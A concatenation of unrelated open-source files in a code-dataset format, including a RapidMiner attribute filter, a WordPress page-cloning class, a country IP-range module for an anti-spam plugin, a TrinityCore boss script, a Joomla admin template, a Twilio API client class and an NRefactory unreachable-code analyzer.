* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see http://www.gnu.org/licenses/.
*/
package com.rapidminer.operator.preprocessing.filter;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.regex.PatternSyntaxException;
import com.rapidminer.example.Attribute;
import com.rapidminer.example.AttributeRole;
import com.rapidminer.operator.IOObject;
import com.rapidminer.operator.OperatorDescription;
import com.rapidminer.operator.OperatorException;
import com.rapidminer.operator.UserError;
import com.rapidminer.parameter.ParameterType;
import com.rapidminer.parameter.ParameterTypeString;
/**
* This operator switches off all features whose name matches the one given in
* the parameter <code>skip_features_with_name</code>. The name can be
* defined as a regular expression.
*
* @author Buelent Moeller, Ingo Mierswa
* @version $Id: FeatureNameFilter.java,v 1.10 2006/04/05 08:57:27 ingomierswa
* Exp $
*/
public class FeatureNameFilter extends FeatureFilter {
/** The parameter name for "Remove attributes with a matching name (accepts regular expressions)" */
public static final String PARAMETER_SKIP_FEATURES_WITH_NAME = "skip_features_with_name";
/** The parameter name for "Does not remove attributes if their name fulfills this matching criterion (accepts regular expressions)" */
public static final String PARAMETER_EXCEPT_FEATURES_WITH_NAME = "except_features_with_name";
private Pattern skipPattern;
private Pattern exceptionPattern;
public FeatureNameFilter(OperatorDescription description) {
super(description);
}
public IOObject[] apply() throws OperatorException {
String regex = getParameterAsString(PARAMETER_SKIP_FEATURES_WITH_NAME);
try {
skipPattern = Pattern.compile(regex);
} catch (PatternSyntaxException e) {
throw new UserError(this, 206, regex, e.getMessage());
}
regex = getParameterAsString(PARAMETER_EXCEPT_FEATURES_WITH_NAME);
if ((regex == null) || (regex.trim().length() == 0)) {
exceptionPattern = null;
} else {
try {
exceptionPattern = Pattern.compile(regex);
} catch (PatternSyntaxException e) {
throw new UserError(this, 206, regex, e.getMessage());
}
}
return super.apply();
}
/**
* Implements the method required by the superclass. For features whose name
* matches the input name (regular expression). If the input name does not
* match the the input name (regular expression) will not be switched off.
* If no parameter was provided, FALSE is always returned, so no feature is
* switched off.
*
* @param attributeRole
* Feature to check.
* @return TRUE if this feature should <b>not</b> be active in the output
* example set of this operator. FALSE otherwise.
*/
public boolean switchOffFeature(AttributeRole attributeRole) throws OperatorException {
Attribute attribute = attributeRole.getAttribute();
Matcher nameSkipMatcher = skipPattern.matcher(attribute.getName());
Matcher specialNameSkipMatcher = null;
if (attributeRole.isSpecial())
specialNameSkipMatcher = skipPattern.matcher(attributeRole.getSpecialName());
Matcher exceptionMatcher = exceptionPattern != null ? exceptionPattern.matcher(attribute.getName()) : null;
Matcher specialExceptionMatcher = null;
if (attributeRole.isSpecial())
specialExceptionMatcher = exceptionPattern != null ? exceptionPattern.matcher(attributeRole.getSpecialName()) : null;
return (nameSkipMatcher.matches() || ((specialNameSkipMatcher != null) && (specialNameSkipMatcher.matches())))
&& ((exceptionMatcher == null) || (!exceptionMatcher.matches()))
&& ((specialExceptionMatcher == null) || (!specialExceptionMatcher.matches()));
}
public List<ParameterType> getParameterTypes() {
List<ParameterType> types = super.getParameterTypes();
types.add(new ParameterTypeString(PARAMETER_SKIP_FEATURES_WITH_NAME, "Remove attributes with a matching name (accepts regular expressions)", false));
types.add(new ParameterTypeString(PARAMETER_EXCEPT_FEATURES_WITH_NAME, "Does not remove attributes if their name fulfills this matching criterion (accepts regular expressions)", true));
return types;
}
}
| gpl-2.0 |
sarahkpeck/thought-leaders | wp-content/plugins/optimizePressPlugin/lib/admin/clone_page.php | 3527 | <?php
/**
* Tool for cloning OP page
* @author OptimizePress <info@optimizepress.com>
*/
class OptimizePress_Admin_ClonePage
{
/**
* @var OptimizePress_Admin_ClonePage
*/
protected static $instance;
/**
* Private constructor
*/
private function __construct()
{}
/**
* Singleton pattern
* @return OptimizePress_Admin_ClonePage
*/
public static function getInstance()
{
if (null === self::$instance) {
self::$instance = new self;
}
return self::$instance;
}
/**
* Clones provided page ID
* @param int $pageId
* @return int
*/
public function clonePage($pageId)
{
$oldPost = &get_post($pageId);
if (null === $oldPost) {
return 0;
}
if ('revision' === $oldPost->post_type) {
return 0;
}
$currentUser = wp_get_current_user();
$newPost = array(
'menu_order' => $oldPost->menu_order,
'comment_status' => $oldPost->comment_status,
'ping_status' => $oldPost->ping_status,
'post_author' => $currentUser->ID,
'post_content' => $oldPost->post_content,
'post_excerpt' => $oldPost->post_excerpt,
'post_mime_type' => $oldPost->post_mime_type,
'post_parent' => $oldPost->post_parent,
'post_password' => $oldPost->post_password,
'post_status' => $oldPost->post_status,
'post_title' => '(dup) ' . $oldPost->post_title,
'post_type' => $oldPost->post_type,
'post_date' => $oldPost->post_date,
'post_date_gmt' => get_gmt_from_date($oldPost->post_date),
);
$newId = wp_insert_post($newPost);
/*
* Generating unique slug
*/
if ($newPost['post_status'] == 'publish' || $newPost['post_status'] == 'future') {
$postName = wp_unique_post_slug($oldPost->post_name, $newId, $newPost['post_status'], $oldPost->post_type, $newPost['post_parent']);
$newPost = array();
$newPost['ID'] = $newId;
$newPost['post_name'] = $postName;
wp_update_post($newPost);
}
$this->cloneMeta($pageId, $newId);
$this->cloneOpData($pageId, $newId);
return $newId;
}
/**
* Copies post meta data
* @param int $oldId
* @param int $newId
* @return boolean
*/
protected function cloneMeta($oldId, $newId)
{
$metaKeys = get_post_custom_keys($oldId);
if (empty($metaKeys)) {
return false;
}
foreach ($metaKeys as $metaKey) {
$metaValues = get_post_custom_values($metaKey, $oldId);
foreach ($metaValues as $metaValue) {
$metaValue = maybe_unserialize($metaValue);
add_post_meta($newId, $metaKey, $metaValue);
}
}
return true;
}
/**
* Clones custom OP data
* @param int $oldId
* @param int $newId
* @return boolean
*/
protected function cloneOpData($oldId, $newId)
{
global $wpdb;
/*
* Cloning 'post_layouts'
*/
$layouts = $wpdb->get_results($wpdb->prepare(
"SELECT type, layout FROM `{$wpdb->prefix}optimizepress_post_layouts` WHERE `post_id` = %d AND status = 'publish'",
$oldId
), ARRAY_A);
if (count($layouts) > 0) {
foreach ($layouts as $layout) {
$layout['post_id'] = $newId;
$wpdb->insert($wpdb->prefix . 'optimizepress_post_layouts', $layout);
}
}
/*
* Cloning 'launchfunnels_pages'
*/
$funnels = $wpdb->get_results($wpdb->prepare(
"SELECT funnel_id, step FROM `{$wpdb->prefix}optimizepress_launchfunnels_pages` WHERE `page_id` = %d",
$oldId
), ARRAY_A);
if (count($funnels) > 0) {
foreach ($funnels as $funnel) {
$funnel['page_id'] = $newId;
$wpdb->insert($wpdb->prefix . 'optimizepress_launchfunnels_pages', $funnel);
}
}
return true;
}
} | gpl-2.0 |
gilles-yvetot/NewDayNewHope | wp-content/plugins/stop-spammer-registrations-plugin/modules/countries/chkTM.php | 285 | <?php
// generated Saturday 11th of April 2015 04:13:21 PM
if (!defined('ABSPATH')) exit;
class chkTM extends be_module {
public $searchname='Turkmenistan';
public $searchlist=array(
array('217174224000','217174225000'),
array('217174233000','217174235000')
);
}
?> | gpl-2.0 |
aikonlee/TrinityCore | src/bindings/scripts/scripts/eastern_kingdoms/blackwing_lair/boss_vaelastrasz.cpp | 8398 | /* Copyright (C) 2006 - 2009 ScriptDev2 <https://scriptdev2.svn.sourceforge.net/>
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/* ScriptData
SDName: Boss_Vaelastrasz
SD%Complete: 75
SDComment: Burning Adrenaline not correctly implemented in core
SDCategory: Blackwing Lair
EndScriptData */
#include "precompiled.h"
#define SAY_LINE1 -1469026
#define SAY_LINE2 -1469027
#define SAY_LINE3 -1469028
#define SAY_HALFLIFE -1469029
#define SAY_KILLTARGET -1469030
#define GOSSIP_ITEM "Start Event <Needs Gossip Text>"
#define SPELL_ESSENCEOFTHERED 23513
#define SPELL_FLAMEBREATH 23461
#define SPELL_FIRENOVA 23462
#define SPELL_TAILSWIPE 15847
#define SPELL_BURNINGADRENALINE 23620
#define SPELL_CLEAVE 20684 //Chain cleave is most likely named something different and contains a dummy effect
struct TRINITY_DLL_DECL boss_vaelAI : public ScriptedAI
{
boss_vaelAI(Creature *c) : ScriptedAI(c)
{
c->SetUInt32Value(UNIT_NPC_FLAGS,1);
c->setFaction(35);
c->RemoveFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE);
}
uint64 PlayerGUID;
uint32 SpeechTimer;
uint32 SpeechNum;
uint32 Cleave_Timer;
uint32 FlameBreath_Timer;
uint32 FireNova_Timer;
uint32 BurningAdrenalineCaster_Timer;
uint32 BurningAdrenalineTank_Timer;
uint32 TailSwipe_Timer;
bool HasYelled;
bool DoingSpeech;
void Reset()
{
PlayerGUID = 0;
SpeechTimer = 0;
SpeechNum = 0;
Cleave_Timer = 8000; //These times are probably wrong
FlameBreath_Timer = 11000;
BurningAdrenalineCaster_Timer = 15000;
BurningAdrenalineTank_Timer = 45000;
FireNova_Timer = 5000;
TailSwipe_Timer = 20000;
HasYelled = false;
DoingSpeech = false;
}
void BeginSpeech(Unit *pTarget)
{
//Stand up and begin speach
PlayerGUID = pTarget->GetGUID();
//10 seconds
DoScriptText(SAY_LINE1, m_creature);
SpeechTimer = 10000;
SpeechNum = 0;
DoingSpeech = true;
m_creature->RemoveFlag(UNIT_NPC_FLAGS, UNIT_NPC_FLAG_GOSSIP);
}
void KilledUnit(Unit *victim)
{
if (rand()%5)
return;
DoScriptText(SAY_KILLTARGET, m_creature, victim);
}
void EnterCombat(Unit *who)
{
DoCast(m_creature, SPELL_ESSENCEOFTHERED);
DoZoneInCombat();
m_creature->SetHealth(int(m_creature->GetMaxHealth()*.3));
}
void UpdateAI(const uint32 diff)
{
//Speech
if (DoingSpeech)
{
if (SpeechTimer <= diff)
{
switch (SpeechNum)
{
case 0:
//16 seconds till next line
DoScriptText(SAY_LINE2, m_creature);
SpeechTimer = 16000;
++SpeechNum;
break;
case 1:
//This one is actually 16 seconds but we only go to 10 seconds because he starts attacking after he says "I must fight this!"
DoScriptText(SAY_LINE3, m_creature);
SpeechTimer = 10000;
++SpeechNum;
break;
case 2:
m_creature->setFaction(103);
if (PlayerGUID && Unit::GetUnit((*m_creature),PlayerGUID))
{
AttackStart(Unit::GetUnit((*m_creature),PlayerGUID));
DoCast(m_creature, SPELL_ESSENCEOFTHERED);
}
SpeechTimer = 0;
DoingSpeech = false;
break;
}
} else SpeechTimer -= diff;
}
//Return since we have no target
if (!UpdateVictim())
return;
// Yell if hp lower than 15%
if (m_creature->GetHealth()*100 / m_creature->GetMaxHealth() < 15 && !HasYelled)
{
DoScriptText(SAY_HALFLIFE, m_creature);
HasYelled = true;
}
//Cleave_Timer
if (Cleave_Timer <= diff)
{
DoCast(m_creature->getVictim(), SPELL_CLEAVE);
Cleave_Timer = 15000;
} else Cleave_Timer -= diff;
//FlameBreath_Timer
if (FlameBreath_Timer <= diff)
{
DoCast(m_creature->getVictim(), SPELL_FLAMEBREATH);
FlameBreath_Timer = urand(4000,8000);
} else FlameBreath_Timer -= diff;
//BurningAdrenalineCaster_Timer
if (BurningAdrenalineCaster_Timer <= diff)
{
Unit *pTarget = NULL;
uint8 i = 0;
while (i < 3) // max 3 tries to get a random target with power_mana
{
++i;
if (pTarget = SelectTarget(SELECT_TARGET_RANDOM, 1, 100, true)) //not aggro leader
if (pTarget->getPowerType() == POWER_MANA)
i = 3;
}
if (pTarget) // cast on self (see below)
pTarget->CastSpell(pTarget,SPELL_BURNINGADRENALINE,1);
BurningAdrenalineCaster_Timer = 15000;
} else BurningAdrenalineCaster_Timer -= diff;
//BurningAdrenalineTank_Timer
if (BurningAdrenalineTank_Timer <= diff)
{
// have the victim cast the spell on himself otherwise the third effect aura will be applied
// to Vael instead of the player
m_creature->getVictim()->CastSpell(m_creature->getVictim(),SPELL_BURNINGADRENALINE,1);
BurningAdrenalineTank_Timer = 45000;
} else BurningAdrenalineTank_Timer -= diff;
//FireNova_Timer
if (FireNova_Timer <= diff)
{
DoCast(m_creature->getVictim(), SPELL_FIRENOVA);
FireNova_Timer = 5000;
} else FireNova_Timer -= diff;
//TailSwipe_Timer
if (TailSwipe_Timer <= diff)
{
//Only cast if we are behind
/*if (!m_creature->HasInArc(M_PI, m_creature->getVictim()))
{
DoCast(m_creature->getVictim(), SPELL_TAILSWIPE);
}*/
TailSwipe_Timer = 20000;
} else TailSwipe_Timer -= diff;
DoMeleeAttackIfReady();
}
};
void SendDefaultMenu_boss_vael(Player* pPlayer, Creature* pCreature, uint32 uiAction)
{
if (uiAction == GOSSIP_ACTION_INFO_DEF + 1) //Fight time
{
pPlayer->CLOSE_GOSSIP_MENU();
CAST_AI(boss_vaelAI, pCreature->AI())->BeginSpeech(pPlayer);
}
}
bool GossipSelect_boss_vael(Player* pPlayer, Creature* pCreature, uint32 uiSender, uint32 uiAction)
{
if (uiSender == GOSSIP_SENDER_MAIN)
SendDefaultMenu_boss_vael(pPlayer, pCreature, uiAction);
return true;
}
bool GossipHello_boss_vael(Player* pPlayer, Creature* pCreature)
{
pPlayer->ADD_GOSSIP_ITEM(GOSSIP_ICON_CHAT, GOSSIP_ITEM , GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF + 1);
pPlayer->SEND_GOSSIP_MENU(907, pCreature->GetGUID());
return true;
}
CreatureAI* GetAI_boss_vael(Creature* pCreature)
{
return new boss_vaelAI (pCreature);
}
void AddSC_boss_vael()
{
Script *newscript;
newscript = new Script;
newscript->Name = "boss_vaelastrasz";
newscript->GetAI = &GetAI_boss_vael;
newscript->pGossipHello = &GossipHello_boss_vael;
newscript->pGossipSelect = &GossipSelect_boss_vael;
newscript->RegisterSelf();
}
| gpl-2.0 |
biodamasceno/joomla-3.x | administrator/components/com_youtubegallery/views/themeform/tmpl/layoutwizard.php | 5584 | <?php
/**
* YoutubeGallery Joomla! 3.0 Native Component
* @version 3.5.9
* @author DesignCompass corp< <support@joomlaboat.com>
* @link http://www.joomlaboat.com
* @GNU General Public License
**/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<h4>General Theme Settings</h4>
<table style="border:none;">
<tbody>
<tr><td style="width:270px;"><?php echo $this->form->getLabel('themename'); ?></td><td>:</td><td><?php echo $this->form->getInput('themename'); ?></td></tr>
<tr><td colspan="3"></td></tr>
<tr><td><?php echo $this->form->getLabel('width'); ?></td><td>:</td><td><?php echo $this->form->getInput('width'); ?></td></tr>
<tr><td><?php echo $this->form->getLabel('height'); ?></td><td>:</td><td><?php echo $this->form->getInput('height'); ?></td></tr>
<tr><td><?php echo $this->form->getLabel('pagination'); ?></td><td>:</td><td><?php echo $this->form->getInput('pagination'); ?></td></tr>
<tr><td><?php echo $this->form->getLabel('playvideo'); ?></td><td>:</td><td><fieldset id="jform_attribs_link_titles" class="radio btn-group"><?php echo $this->form->getInput('playvideo'); ?></fieldset></td></tr>
</tbody>
</table>
<h4>Layout Settings</h4>
<table style="border:none;">
<tbody>
<tr><td style="width:270px;"><?php echo $this->form->getLabel('showlistname'); ?></td><td>:</td><td><fieldset id="jform_attribs_link_titles" class="radio btn-group"><?php echo $this->form->getInput('showlistname'); ?></fieldset></td></tr>
<tr><td><?php echo $this->form->getLabel('listnamestyle'); ?></td><td>:</td><td>AVAILABLE IN "PRO" VERSION ONLY</td></tr>
<tr><td colspan="3" style="height:20px;"><hr style="border:none;border-bottom:1px dotted #DDDDDD;" /></td></tr>
<tr><td><?php echo $this->form->getLabel('showactivevideotitle'); ?></td><td>:</td><td>
<fieldset id="jform_attribs_link_titles" class="radio btn-group">
<?php echo $this->form->getInput('showactivevideotitle'); ?>
</fieldset>
</td></tr>
<tr><td><?php echo $this->form->getLabel('activevideotitlestyle'); ?></td><td>:</td><td><?php echo $this->form->getInput('activevideotitlestyle'); ?></td></tr>
<tr><td colspan="3" style="height:20px;"><hr style="border:none;border-bottom:1px dotted #DDDDDD;" /></td></tr>
<tr><td><?php echo $this->form->getLabel('description'); ?></td><td>:</td><td><fieldset id="jform_attribs_link_titles" class="radio btn-group"><?php echo $this->form->getInput('description'); ?></fieldset></td></tr>
<tr><td><?php echo $this->form->getLabel('descr_style'); ?></td><td>:</td><td>AVAILABLE IN "PRO" VERSION ONLY</td></tr>
<tr><td><?php echo $this->form->getLabel('descr_position'); ?></td><td>:</td><td><?php echo $this->form->getInput('descr_position'); ?></td></tr>
<tr><td colspan="3" style="height:20px;"><hr style="border:none;border-bottom:1px dotted #DDDDDD;" /></td></tr>
<tr><td><?php echo $this->form->getLabel('cssstyle'); ?></td><td>:</td><td>AVAILABLE IN "PRO" VERSION ONLY</td></tr>
<tr><td colspan="3" style="height:20px;"><hr style="border:none;border-bottom:1px dotted #DDDDDD;" /></td></tr>
</tbody>
</table>
<h4>Navigation Bar</h4>
<table style="border:none;">
<tbody>
<tr><td style="width:270px;"><?php echo $this->form->getLabel('showtitle'); ?></td><td>:</td><td><fieldset id="jform_attribs_link_titles" class="radio btn-group"><?php echo $this->form->getInput('showtitle'); ?></fieldset></td></tr><!-- depricated - part of layout -->
<tr><td><?php echo $this->form->getLabel('cols'); ?></td><td>:</td><td><?php echo $this->form->getInput('cols'); ?></td></tr>
<tr><td><?php echo $this->form->getLabel('orderby'); ?></td><td>:</td><td><?php echo $this->form->getInput('orderby'); ?></td></tr>
<tr><td><?php echo $this->form->getLabel('customlimit'); ?></td><td>:</td><td><?php echo $this->form->getInput('customlimit'); ?></td></tr>
<tr><td colspan="3" style="height:20px;"><hr style="border:none;border-bottom:1px dotted #DDDDDD;" /></td></tr>
<tr><td><?php echo $this->form->getLabel('navbarstyle'); ?></td><td>:</td><td><?php echo $this->form->getInput('navbarstyle'); ?></td></tr>
<tr><td><?php echo $this->form->getLabel('bgcolor'); ?></td><td>:</td><td><?php echo $this->form->getInput('bgcolor'); ?></td></tr><!-- depricated - part of layout -->
<tr><td><?php echo $this->form->getLabel('thumbnailstyle'); ?></td><td>:</td><td><?php echo $this->form->getInput('thumbnailstyle'); ?></td></tr><!-- depricated - part of layout -->
<tr><td><?php echo $this->form->getLabel('linestyle'); ?></td><td>:</td><td><?php echo $this->form->getInput('linestyle'); ?></td></tr><!-- depricated - can be done with navbarstyle -->
</tbody>
</table> | gpl-2.0 |
mohsinoffline/wp-twilio-core | twilio-php/src/Twilio/Rest/Api/V2010/Account/NotificationList.php | 5634 | <?php
/**
* This code was generated by
* \ / _ _ _| _ _
* | (_)\/(_)(_|\/| |(/_ v1.0.0
* / /
*/
namespace Twilio\Rest\Api\V2010\Account;
use Twilio\ListResource;
use Twilio\Options;
use Twilio\Serialize;
use Twilio\Values;
use Twilio\Version;
class NotificationList extends ListResource {
/**
* Construct the NotificationList
*
* @param Version $version Version that contains the resource
* @param string $accountSid The SID of the Account that created the resource
* @return \Twilio\Rest\Api\V2010\Account\NotificationList
*/
public function __construct(Version $version, $accountSid) {
parent::__construct($version);
// Path Solution
$this->solution = array('accountSid' => $accountSid, );
$this->uri = '/Accounts/' . \rawurlencode($accountSid) . '/Notifications.json';
}
/**
* Streams NotificationInstance records from the API as a generator stream.
* This operation lazily loads records as efficiently as possible until the
* limit
* is reached.
* The results are returned as a generator, so this operation is memory
* efficient.
*
* @param array|Options $options Optional Arguments
* @param int $limit Upper limit for the number of records to return. stream()
* guarantees to never return more than limit. Default is no
* limit
* @param mixed $pageSize Number of records to fetch per request, when not set
* will use the default value of 50 records. If no
* page_size is defined but a limit is defined, stream()
* will attempt to read the limit with the most
* efficient page size, i.e. min(limit, 1000)
* @return \Twilio\Stream stream of results
*/
public function stream($options = array(), $limit = null, $pageSize = null) {
$limits = $this->version->readLimits($limit, $pageSize);
$page = $this->page($options, $limits['pageSize']);
return $this->version->stream($page, $limits['limit'], $limits['pageLimit']);
}
/**
* Reads NotificationInstance records from the API as a list.
* Unlike stream(), this operation is eager and will load `limit` records into
* memory before returning.
*
* @param array|Options $options Optional Arguments
* @param int $limit Upper limit for the number of records to return. read()
* guarantees to never return more than limit. Default is no
* limit
* @param mixed $pageSize Number of records to fetch per request, when not set
* will use the default value of 50 records. If no
* page_size is defined but a limit is defined, read()
* will attempt to read the limit with the most
* efficient page size, i.e. min(limit, 1000)
* @return NotificationInstance[] Array of results
*/
public function read($options = array(), $limit = null, $pageSize = null) {
return \iterator_to_array($this->stream($options, $limit, $pageSize), false);
}
/**
* Retrieve a single page of NotificationInstance records from the API.
* Request is executed immediately
*
* @param array|Options $options Optional Arguments
* @param mixed $pageSize Number of records to return, defaults to 50
* @param string $pageToken PageToken provided by the API
* @param mixed $pageNumber Page Number, this value is simply for client state
* @return \Twilio\Page Page of NotificationInstance
*/
public function page($options = array(), $pageSize = Values::NONE, $pageToken = Values::NONE, $pageNumber = Values::NONE) {
$options = new Values($options);
$params = Values::of(array(
'Log' => $options['log'],
'MessageDate<' => Serialize::iso8601Date($options['messageDateBefore']),
'MessageDate' => Serialize::iso8601Date($options['messageDate']),
'MessageDate>' => Serialize::iso8601Date($options['messageDateAfter']),
'PageToken' => $pageToken,
'Page' => $pageNumber,
'PageSize' => $pageSize,
));
$response = $this->version->page(
'GET',
$this->uri,
$params
);
return new NotificationPage($this->version, $response, $this->solution);
}
/**
* Retrieve a specific page of NotificationInstance records from the API.
* Request is executed immediately
*
* @param string $targetUrl API-generated URL for the requested results page
* @return \Twilio\Page Page of NotificationInstance
*/
public function getPage($targetUrl) {
$response = $this->version->getDomain()->getClient()->request(
'GET',
$targetUrl
);
return new NotificationPage($this->version, $response, $this->solution);
}
/**
* Constructs a NotificationContext
*
* @param string $sid The unique string that identifies the resource
* @return \Twilio\Rest\Api\V2010\Account\NotificationContext
*/
public function getContext($sid) {
return new NotificationContext($this->version, $this->solution['accountSid'], $sid);
}
/**
* Provide a friendly representation
*
* @return string Machine friendly representation
*/
public function __toString() {
return '[Twilio.Api.V2010.NotificationList]';
}
} | gpl-2.0 |
Victov/NClass | lib/NRefactory/ICSharpCode.NRefactory.CSharp.Refactoring/CodeIssues/Custom/UnreachableCodeIssue.cs | 8473 | //
// UnreachableCodeIssue.cs
//
// Author:
// Mansheng Yang <lightyang0@gmail.com>
//
// Copyright (c) 2012 Mansheng Yang <lightyang0@gmail.com>
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
using System;
using System.Collections.Generic;
using ICSharpCode.NRefactory.CSharp.Analysis;
using System.Linq;
using ICSharpCode.NRefactory.Refactoring;
namespace ICSharpCode.NRefactory.CSharp.Refactoring
{
[IssueDescription("Code is unreachable",
Description = "Code is unreachable.",
Category = IssueCategories.RedundanciesInCode,
Severity = Severity.Warning)]
public class UnreachableCodeIssue : GatherVisitorCodeIssueProvider
{
protected override IGatherVisitor CreateVisitor(BaseRefactoringContext context)
{
return new GatherVisitor(context);
}
class GatherVisitor : GatherVisitorBase<UnreachableCodeIssue>
{
HashSet<AstNode> unreachableNodes;
public GatherVisitor(BaseRefactoringContext ctx)
: base(ctx)
{
unreachableNodes = new HashSet<AstNode>();
}
public override void VisitMethodDeclaration(MethodDeclaration methodDeclaration)
{
StatementIssueCollector.Collect(this, methodDeclaration.Body);
base.VisitMethodDeclaration(methodDeclaration);
}
public override void VisitLambdaExpression(LambdaExpression lambdaExpression)
{
var blockStatement = lambdaExpression.Body as BlockStatement;
if (blockStatement != null)
StatementIssueCollector.Collect(this, blockStatement);
base.VisitLambdaExpression(lambdaExpression);
}
public override void VisitAnonymousMethodExpression(AnonymousMethodExpression anonymousMethodExpression)
{
StatementIssueCollector.Collect(this, anonymousMethodExpression.Body);
base.VisitAnonymousMethodExpression(anonymousMethodExpression);
}
public override void VisitConditionalExpression(ConditionalExpression conditionalExpression)
{
var resolveResult = ctx.Resolve(conditionalExpression.Condition);
if (resolveResult.ConstantValue is bool) {
var condition = (bool)resolveResult.ConstantValue;
Expression resultExpr, unreachableExpr;
if (condition) {
resultExpr = conditionalExpression.TrueExpression;
unreachableExpr = conditionalExpression.FalseExpression;
} else {
resultExpr = conditionalExpression.FalseExpression;
unreachableExpr = conditionalExpression.TrueExpression;
}
unreachableNodes.Add(unreachableExpr);
AddIssue(new CodeIssue(unreachableExpr, ctx.TranslateString("Code is unreachable"), ctx.TranslateString("Remove unreachable code"),
script => script.Replace(conditionalExpression, resultExpr.Clone())) { IssueMarker = IssueMarker.GrayOut });
}
base.VisitConditionalExpression(conditionalExpression);
}
protected override void VisitChildren(AstNode node)
{
// skip unreachable nodes
if (!unreachableNodes.Contains(node))
base.VisitChildren(node);
}
class StatementIssueCollector : DepthFirstAstVisitor
{
GatherVisitor visitor;
ReachabilityAnalysis reachability;
List<AstNode> collectedStatements;
private StatementIssueCollector(GatherVisitor visitor, ReachabilityAnalysis reachability)
{
collectedStatements = new List<AstNode>();
this.visitor = visitor;
this.reachability = reachability;
}
public static void Collect(GatherVisitor visitor, BlockStatement body)
{
if (body.IsNull)
return;
var reachability = visitor.ctx.CreateReachabilityAnalysis(body);
var collector = new StatementIssueCollector(visitor, reachability);
collector.VisitBlockStatement(body);
}
protected override void VisitChildren(AstNode node)
{
var statement = node as Statement;
if (statement == null || !AddStatement(statement))
base.VisitChildren(node);
}
static TextLocation GetPrevEnd(AstNode node)
{
var prev = node.GetPrevNode(n => !(n is NewLineNode));
return prev != null ? prev.EndLocation : node.StartLocation;
}
static TextLocation GetNextStart(AstNode node)
{
var next = node.GetNextNode(n => !(n is NewLineNode));
return next != null ? next.StartLocation : node.EndLocation;
}
bool AddStatement(Statement statement)
{
if (reachability.IsReachable(statement))
return false;
if (collectedStatements.Contains(statement))
return true;
if (statement is BlockStatement && statement.GetChildrenByRole<Statement>(BlockStatement.StatementRole).Any(reachability.IsReachable)) {
//There's reachable content
return false;
}
var prevEnd = GetPrevEnd(statement);
TextLocation start;
TextLocation end;
if (statement.Role == IfElseStatement.TrueRole) {
var ife = (IfElseStatement)statement.Parent;
start = ife.IfToken.StartLocation;
collectedStatements.Add(ife.IfToken);
prevEnd = ife.IfToken.StartLocation;
collectedStatements.Add(statement);
visitor.unreachableNodes.Add(statement);
collectedStatements.Add(ife.ElseToken);
end = GetNextStart(ife.ElseToken);
} else if (statement.Role == IfElseStatement.FalseRole) {
var ife = (IfElseStatement)statement.Parent;
start = ife.ElseToken.StartLocation;
collectedStatements.Add(ife.ElseToken);
prevEnd = GetPrevEnd(ife.ElseToken);
collectedStatements.Add(statement);
visitor.unreachableNodes.Add(statement);
end = statement.EndLocation;
} else {
// group multiple continuous statements into one issue
start = statement.StartLocation;
collectedStatements.Add(statement);
visitor.unreachableNodes.Add(statement);
Statement nextStatement;
while ((nextStatement = (Statement)statement.GetNextSibling(s => s is Statement)) != null && !(nextStatement is LabelStatement)) {
if (nextStatement.Role == IfElseStatement.FalseRole)
break;
statement = nextStatement;
collectedStatements.Add(statement);
visitor.unreachableNodes.Add(statement);
}
end = statement.EndLocation;
}
var removeAction = new CodeAction(
visitor.ctx.TranslateString("Remove unreachable code"),
script => {
var startOffset = script.GetCurrentOffset(prevEnd);
var endOffset = script.GetCurrentOffset(end);
script.RemoveText(startOffset, endOffset - startOffset);
}, collectedStatements.First().StartLocation, collectedStatements.Last().EndLocation);
var commentAction = new CodeAction(
visitor.ctx.TranslateString("Comment unreachable code"),
script => {
var startOffset = script.GetCurrentOffset(prevEnd);
script.InsertText(startOffset, Environment.NewLine + "/*");
var endOffset = script.GetCurrentOffset(end);
script.InsertText(endOffset, Environment.NewLine + "*/");
}, collectedStatements.First().StartLocation, collectedStatements.Last().EndLocation);
var actions = new [] { removeAction, commentAction };
visitor.AddIssue(new CodeIssue(start, end, visitor.ctx.TranslateString("Code is unreachable"), actions) { IssueMarker = IssueMarker.GrayOut });
return true;
}
// skip lambda and anonymous method
public override void VisitLambdaExpression(LambdaExpression lambdaExpression)
{
}
public override void VisitAnonymousMethodExpression(AnonymousMethodExpression anonymousMethodExpression)
{
}
}
}
}
}
| gpl-2.0 |
rojas1985/ejemplo1 | hola/src/hola/Hola.java | 567 | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package hola;
/**
*
* @author rojas
*/
public class Hola {
/**
* @param args the command line arguments
*/
public static void main(String[] args) {
// TODO code application logic here
int b= 5;
if(b>6){
System.out.println("hola");
}
else{
System.out.println("error");
}
}
} | gpl-2.0 |
longersoft/nextcms | static/js/dojo/1.6.0/dijit/_editor/plugins/EnterKeyHandling.js | 10138 | /*
Copyright (c) 2004-2011, The Dojo Foundation All Rights Reserved.
